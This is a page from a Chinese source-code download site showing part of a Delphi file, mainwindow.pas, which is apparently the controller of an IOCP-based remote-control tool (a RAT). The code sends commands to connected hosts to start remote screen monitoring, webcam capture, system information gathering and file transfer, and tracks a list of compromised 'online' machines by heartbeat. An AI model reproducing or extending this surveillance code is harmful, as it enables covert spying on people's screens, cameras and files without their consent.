⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainwindow.pas

📁 delphi源代码。iocp远控比较完整的代码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
    Exit;
  end;
  //创建屏传显示类
  myDisplayRemoteScreen := TDisplayRemoteScreen.Create(self);
  myPHandledata.AllCtrlInstance.CapScreenInstance := DWORD(myDisplayRemoteScreen);
  ZeroMemory(@CMDHeader, sizeof(CMDHeader));
  CMDHeader.OrderObject := CapScreen;
  //将本mainsocket单io数据指针传递过去
  CMDHeader.OrderExtend := DWORD(myPHandledata);
  SetCmdSignByte(myPHandledata^.Socket, CMDHeader, False);
  //分离出外部IP地址
  InternalIP := (LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[0]);
  InternalIP := copy(InternalIP, 0, Pos('/', InternalIP) - 1);
  //得到client的地理位置
  InternalAddress := LVServerList.items.item[LVServerList.ItemIndex].Caption;
  myDisplayRemoteScreen.CaptionStr := InternalAddress + '-->' + InternalIP;
  //设置屏传标题
  SetWindowText(myDisplayRemoteScreen.Handle,
    Pchar(myDisplayRemoteScreen.CaptionStr + ',正在进行屏幕监控'));
  //显示屏传窗口
  myDisplayRemoteScreen.Show;
end;
 
procedure TMainForm.TBViewWebCamClick(Sender: TObject);
var
  InternalIP, InternalAddress : string;
  myVideoForm : TVideoForm;
  myPHandledata : PPerHandleData;
  CMDHeader : TInterChangeHeader;
begin
  //如果没有选行,则退出
  if (LVServerList.SelCount = 0) then
  begin
    Exit;
  end;
  //得到单IO数据指针
  myPHandledata := PPerHandleData(
    StrToInt(LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[8]));
  //判断是否有实例已经建立
  if Assigned(TVideoForm(myPHandledata.AllCtrlInstance.CapVideoInstance)) then
  begin
    myVideoForm := TVideoForm(myPHandledata.AllCtrlInstance.CapVideoInstance);
    BringWindowToTop(myVideoForm.Handle);
    Exit;
  end;
  //创建屏传显示类
  myVideoForm := TVideoForm.Create(Self);
  myPHandledata.AllCtrlInstance.CapVideoInstance := DWORD(myVideoForm);
  ZeroMemory(@CMDHeader, sizeof(CMDHeader));
  CMDHeader.OrderObject := CapVideo;
  //将本mainsocket单io数据指针传递过去
  CMDHeader.OrderExtend := DWORD(myPHandledata);
  SetCmdSignByte(myPHandledata^.Socket, CMDHeader, False);
  //分离出外部IP地址
  InternalIP := (LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[0]);
  InternalIP := copy(InternalIP, 0, Pos('/', InternalIP) - 1);
  //得到client的地理位置
  InternalAddress := LVServerList.items.item[LVServerList.ItemIndex].Caption;
  myVideoForm.CaptionStr := InternalAddress + '-->' + InternalIP;
  //设置标题
  SetWindowText(myVideoForm.Handle,
    Pchar(myVideoForm.CaptionStr + ',正在进行视频监控'));
  //显示屏传窗口
  myVideoForm.Show;
end;

//发送文件列表管理命令
procedure TMainForm.TBSystemManageClick(Sender: TObject);
var
  InternalIP, InternalAddress : string;
  myFileAndInfoCtrlForm : TFileAndInfoCtrlForm;
  myPHandledata : PPerHandleData;
  CMDHeader : TInterChangeHeader;
begin
  //如果没有选行,则退出
  if (LVServerList.SelCount = 0) then
  begin
    Exit;
  end;
  //得到单IO数据指针
  myPHandledata := PPerHandleData(
    StrToInt(LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[8]));
  //判断是否有实例已经建立
  if Assigned(TFileAndInfoCtrlForm(myPHandledata.AllCtrlInstance.GetSystemInfoInstance)) then
  begin
    myFileAndInfoCtrlForm := TFileAndInfoCtrlForm(myPHandledata.AllCtrlInstance.GetSystemInfoInstance);
    BringWindowToTop(myFileAndInfoCtrlForm.Handle);
    Exit;
  end;
  //创建屏传显示类
  myFileAndInfoCtrlForm := TFileAndInfoCtrlForm.Create(Self);
  myPHandledata.AllCtrlInstance.GetSystemInfoInstance := DWORD(myFileAndInfoCtrlForm);
  //发送消息,让client建立系统管理socket
  ZeroMemory(@CMDHeader, sizeof(CMDHeader));
  CMDHeader.OrderObject := GetSystemInfo;
  CMDHeader.OrderExtend := DWORD(myPHandledata);//将本mainsocket单io数据指针传递过去
  SetCmdSignByte(myPHandledata^.Socket, CMDHeader, False);
  //然后发送消息,让client建立文件传输socket
  CMDHeader.OrderObject := TransmitFiles;
  CMDHeader.OrderExtend := DWORD(myPHandledata);
  SetCmdSignByte(myPHandledata^.Socket, CMDHeader, False); 
  //分离出外部IP地址
  InternalIP := (LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[0]);
  InternalIP := copy(InternalIP, 0, Pos('/', InternalIP) - 1);
  //得到client的地理位置
  InternalAddress := LVServerList.items.item[LVServerList.ItemIndex].Caption;
  myFileAndInfoCtrlForm.CaptionStr := InternalAddress + '-->' + InternalIP;
  //设置标题
  SetWindowText(myFileAndInfoCtrlForm.Handle,
    Pchar(myFileAndInfoCtrlForm.CaptionStr + ',正在进行系统管理'));
  //显示屏传窗口
  myFileAndInfoCtrlForm.Show;
end;

//变更昵称
procedure TMainForm.ChangeRemoteNickClick(Sender: TObject);
var
  NikeName : string;
  TmpMainSocket : TSocket;
begin
  {if LVServerList.SelCount = 0 then Exit;
  TmpMainSocket := StrToInt(LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[7]); 
  if not InputQuery('新备注输入', '请输入新的备注', NikeName) then Exit;
  SetCmdSignByte(TmpMainSocket, Byte(RemoteNickNameData), False, 0, 0, NikeName); }
end;

(*----------------------以下主要进行响应普通的窗口操作指令-----------------------*)

//创建窗口
procedure TMainForm.FormCreate(Sender: TObject); 
begin
  //初始化临界区
  InitializeCriticalSection(g_VariableAccessSemaphore);
  StartIOCPServer; 
end;

procedure TMainForm.TBCloseClick(Sender: TObject);
begin 
  Close;
end;

procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
  if Application.MessageBox('真的要退出程序吗?', '确认', MB_YESNO or MB_ICONQUESTION) <> IDYES then
    CanClose := False
  else
  begin
    CanClose := True;
  end;
end;

procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  try
    CleanUp;
    //删除临界区
    DeleteCriticalSection(g_VariableAccessSemaphore); 
  except

  end;
end;

//关于
procedure TMainForm.TBAboutClick(Sender: TObject);
begin
  OKRightDlg.ShowModal;
end;

//主机排序
procedure TMainForm.LVServerListColumnClick(Sender: TObject;
  Column: TListColumn);
begin 
  ClientListSortCol := Column.Index;
  if (ClientListSortWay = 1) then ClientListSortWay := -1 else ClientListSortWay := 1;
  (Sender as TCustomListView).AlphaSort;
end;

//主机排序
procedure TMainForm.LVServerListCompare(Sender: TObject; Item1,
  Item2: TListItem; Data: Integer; var Compare: Integer);
var
  t : Integer;
begin
  if (ClientListSortCol = 0) then
  begin
    Compare := ClientListSortWay * CompareText(Item1.Caption, Item2.Caption);
  end
  else
  begin
    t := ClientListSortCol - 1;
    Compare := ClientListSortWay * CompareText(Item1.SubItems[t], Item2.SubItems[t]);
  end;
end;

//每1分钟遍历一遍,看看主机是否下线--这里只对非正常下线的有处理的机会
procedure TMainForm.HeartCheckTimerTimer(Sender: TObject);
var
  i : Longint;
  mySystemTime : TSystemTime;
  TimeStr : string;
  myPHandledata : PPerHandleData;
  myDisplayRemoteScreen : TDisplayRemoteScreen;
  myVideoForm : TVideoForm;
  myFileAndInfoCtrlForm : TFileAndInfoCtrlForm;
  //
begin
  try
    if LVServerList.Items.Count = 0 then Exit;
    //和上线列表加入互斥
    EnterCriticalSection(g_VariableAccessSemaphore);
    for i := LVServerList.Items.Count - 1 downto 0 do
    begin
      //得到单IO数据指针
      myPHandledata := PPerHandleData(
        StrToInt(LVServerList.items.item[i].subitems.strings[8]));
      //检测不到数据包了,则说明远程主机下线
      if not myPHandledata^.IsAlive then
      begin
        //屏传
        if myPHandledata^.AllCtrlInstance.CapScreenInstance <> 0 then
        begin
          myDisplayRemoteScreen := TDisplayRemoteScreen(myPHandledata^.AllCtrlInstance.CapScreenInstance);
          myDisplayRemoteScreen.Caption :=  myDisplayRemoteScreen.CaptionStr + '远程主机已下线';
          //释放单io数据
          if myDisplayRemoteScreen.SubClientSocketIP_IO <> nil then
            FreeOverlappedPlus(myDisplayRemoteScreen.SubClientSocketIP_IO);
          myDisplayRemoteScreen.MainClientSocketIP_IO := nil;
          //关闭socket
          shutdown(myDisplayRemoteScreen.ClientSocket, SD_BOTH);
          CloseSocket(myDisplayRemoteScreen.ClientSocket);
        end;
        //视频
        if myPHandledata^.AllCtrlInstance.CapVideoInstance <> 0 then
        begin
          myVideoForm := TVideoForm(myPHandledata^.AllCtrlInstance.CapVideoInstance);
          myVideoForm.Caption :=  myVideoForm.CaptionStr + '远程主机已下线';
          //释放单io数据
          if myVideoForm.SubClientSocketIP_IO <> nil then
            FreeOverlappedPlus(myVideoForm.SubClientSocketIP_IO);
          myVideoForm.MainClientSocketIP_IO := nil;
          //关闭socket
          shutdown(myVideoForm.ClientSocket, SD_BOTH);
          CloseSocket(myVideoForm.ClientSocket);
        end;
        //系统信息和文件传输
        if myPHandledata^.AllCtrlInstance.GetSystemInfoInstance <> 0 then
        begin
          myFileAndInfoCtrlForm := TFileAndInfoCtrlForm(myPHandledata^.AllCtrlInstance.GetSystemInfoInstance);
          myFileAndInfoCtrlForm.Caption :=  myFileAndInfoCtrlForm.CaptionStr + '远程主机已下线';
          //释放单io数据,sysinfo
          if myFileAndInfoCtrlForm.SubClientSocketIP_IO <> nil then
            FreeOverlappedPlus(myFileAndInfoCtrlForm.SubClientSocketIP_IO);
          myFileAndInfoCtrlForm.MainClientSocketIP_IO := nil;
          //关闭socket, sysinfo
          shutdown(myFileAndInfoCtrlForm.ClientSocket, SD_BOTH);
          CloseSocket(myFileAndInfoCtrlForm.ClientSocket); 
        end;
        //音频
        //......

        //主机下线的通知
        LVServerList.Items.Delete(i); //
        GetSystemTime(mySystemTime);
        TimeStr := Format('%d-%d-%d %d:%d', [mySystemTime.wYear, mySystemTime.wMonth, mySystemTime.wDay,
          mySystemTime.wHour, mySystemTime.wMinute]);
        MemoMsg.Lines.Add(TimeStr +
          ' 远程主机:' + myPHandledata^.ExternalIPaddressString + '下线');
        //关闭socket
        shutdown(myPHandledata^.Socket, SD_BOTH);
        CloseSocket(myPHandledata^.Socket);
        //释放结构内存资源
        FreeOverlappedPlus(myPHandledata);
      end;
      //重置心跳为False
      if myPHandledata <> nil then
        myPHandledata^.IsAlive := False;
    end;
    StatusBarMsg.Panels[2].Text := '共有上线主机:'
      + IntToStr(LVServerList.Items.Count) + '台';
    LeaveCriticalSection(g_VariableAccessSemaphore);
  except

  end;
end;

end.



⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -